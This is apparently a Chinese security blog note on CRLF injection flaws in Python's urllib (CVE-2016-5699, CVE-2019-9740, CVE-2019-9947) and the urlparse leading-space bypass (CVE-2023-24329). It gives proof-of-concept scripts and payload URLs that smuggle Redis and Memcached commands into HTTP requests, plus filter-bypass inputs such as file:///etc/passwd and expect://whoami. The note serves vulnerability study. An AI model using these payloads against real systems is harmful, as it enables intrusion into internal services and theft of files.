目录

  1. 1. 前言
  2. 2. CRLF注入漏洞
  3. 3. CVE-2016-5699
  4. 4. CVE-2019-9740
  5. 5. CVE-2019-9947
  6. 6. CVE-2023-24329
  7. 7. 攻击
    1. 7.1. Redis未授权
    2. 7.2. Memcached未授权

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Python urllib CRLF注入漏洞

2024/5/11 Web python
  |     |   总文章阅读量:

前言

参考:

http://www.mi1k7ea.com/2020/03/09/Python-urllib-CRLF%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%B0%8F%E7%BB%93


CRLF注入漏洞

这个已经品鉴够多了,快点端下去吧,总之就是利用 回车+换行(\r\n)注入自己的http请求体


CVE-2016-5699

版本:urllib2 and urllib in CPython (aka Python) before 2.7.10 and 3.x before 3.4.4

注入点:IP地址和端口号的分隔符:前面

http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

正常报文:

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

注入后的报文:

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

注:针对的是域名而非IP地址的场景进行利用的时候有个注意点,就是在域名后进行CRLF注入之前要插入一个空字符如%00,这样才能顺利地进行DNS查询,如http://localhost%00%0d%0ax-bar:%20:12345/foo


CVE-2019-9740

版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

注入点:IP地址和端口号的分隔符:前面,但是和前者的区别在于注入新的端口

http://10.10.10.10:1234?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a

poc:

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
redis_att = '192.168.10.137:6379?\r\nSET hacker\r\n'	# 打redis
url = "http://" + redis_att + ":8080/test/?test=a"

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

注入后的报文:

GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close

CVE-2019-9947

版本:urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

注入点:在端口号后面

http://10.10.10.10:8080/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n
http://10.10.10.10:8080/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n

poc:

import urllib.request

urllib.request.urlopen('http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# urllib.request.urlopen('http://192.168.10.137:7777/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# 打内网redis
# urllib.request.urlopen('http://192.168.10.137:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n')

注入报文:

GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close
GET /HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 192.168.10.137:7777
User-Agent: Python-urllib/3.6
Connection: close

CVE-2023-24329

版本:Python < 3.12,Python 3.11.x < 3.11.4,Python 3.10.x < 3.10.12,Python 3.9.x < 3.9.17,Python 3.8.x < 3.8.17,Python 3.7.x < 3.7.17

描述:Python多个受影响版本中,当整个URL以空白字符开头时,urllib.parse会出现解析问题(影响主机名和方案的解析),可以通过提供以空白字符开头的URL来绕过使用阻止列表实现的任何域或协议过滤方法

poc:https://github.com/H4R335HR/CVE-2023-24329-PoC/tree/main

import sys
import urllib.request
from urllib.parse import urlparse

# ANSI color codes
GREEN = '\033[92m'
RED = '\033[91m'
ENDC = '\033[0m'

explanation = '''
    In this application, we have blocked certain URL schemes and hostnames by checking urlparse(input_link).scheme and urlparse(input_link).hostname with the following list:
    
    block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
    block_host = ["instagram.com", "youtube.com", "tiktok.com"]
    
    Due to a flaw in how the urlparse splits the URL, you can bypass this blocklist by simply adding a leading space in the URL. Below are some URLs for you to try. Try them with and without leading spaces:
    
    https://youtube.com
    file://127.0.0.1/etc/passwd
    data://text/plain, <?php phpinfo() ?>
    expect://whoami
    
    Based on research by Yebo Cao - https://pointernull.com/security/python-url-parse-problem.html
    
    Your Python version is {}.
    '''

def is_vulnerable():
    python_version = sys.version_info
    
    if python_version >= (3, 12):
        return False
    if (3, 11, 4) <= python_version < (3, 12):
        return False
    if (3, 10, 12) <= python_version < (3, 11):
        return False
    if (3, 9, 17) <= python_version < (3, 10):
        return False
    if (3, 8, 17) <= python_version < (3, 9):
        return False
    if (3, 7, 17) <= python_version < (3, 8):
        return False
    
    return True

def safe_url_opener(input_link):
    block_schemes = ["file", "gopher", "expect", "php", "dict", "ftp", "glob", "data"]
    block_host = ["instagram.com", "youtube.com", "tiktok.com"]

    input_scheme = urlparse(input_link).scheme
    print("Input scheme is", input_scheme)
    input_hostname = urlparse(input_link).hostname
    print("Input hostname is", input_hostname)

    if input_scheme in block_schemes:
        print(GREEN+"Input scheme is forbidden"+ENDC)
        return

    if input_hostname in block_host:
        print(GREEN+"Input hostname is forbidden"+ENDC)
        return

    try:
        target = urllib.request.urlopen(input_link)
        content = target.read()
        print(content)
    except Exception as e:
        print("Error:", e)

def main():
    python_version = sys.version
    vuln_status = RED+"vulnerable"+ENDC if is_vulnerable() else GREEN+"not vulnerable"+ENDC
    print(explanation.format(vuln_status))
    
    num_links = 4  # Number of times to repeat
    for _ in range(num_links):
        input_link = input("Enter the link: ")
        safe_url_opener(input_link)

if __name__ == "__main__":
    main()

exp:https://github.com/JawadPy/CVE-2023-24329-Exploit/tree/main

# Python version: before 3.11.4
# CVE-2023-24329

import urllib.parse

blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'
 
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

攻击

Redis未授权

参考:https://security.tencent.com/index.php/blog/msg/106


Memcached未授权

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

报文如下:

GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行

下面是响应:

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR